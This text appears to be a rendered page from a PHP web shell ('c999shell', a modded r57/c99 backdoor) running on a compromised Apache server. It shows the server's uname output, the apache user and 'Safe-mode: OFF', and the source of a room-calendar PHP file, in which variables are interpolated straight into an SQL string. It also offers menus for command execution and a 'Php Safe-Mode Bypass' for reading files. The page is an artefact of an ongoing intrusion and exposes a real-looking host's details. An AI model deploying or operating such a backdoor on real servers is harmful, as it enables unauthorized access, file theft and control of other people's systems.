Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/ drwxr-xr-x |
Viewing file: Roomcalendar.php (6.88 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | /** Define Validate Access */ define( '_VALID_ACCESS', 1 ); /** Configuration */ require_once( "./configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "./include/Function.php" ); require_once( "./include/FunctionDB.php" ); require_once( "./calendar/check.php" ); require_once( "./calendar/cal_func.php" ); /** Create Database Object */ $dbObj = new DBConn; //=== SESSION $Username = $valid_user; /** Config Table for This Page */ $myTable1 = "personal_tb"; $myTable2 = "room_rent"; /** Table --> tech_plan_tb */ //$query1 = " SELECT * FROM $myTable2 LEFT JOIN room_tb ON room_rent.Room_code=room_tb.Room_code WHERE $now_stamp BETWEEN Date_start= '$now_stamp' "; $query1 = " SELECT * FROM room_rent LEFT JOIN room_tb ON room_rent.Room_code=room_tb.Room_code WHERE '$now_stamp' BETWEEN Date_start and Date_finish "; $result1 = $dbObj->execQuery($query1); $rs1 = $dbObj->fetchArray($result1); $numrows = $dbObj->_numrows; ?> freeresult($result1); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?> bool(false) |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]-- |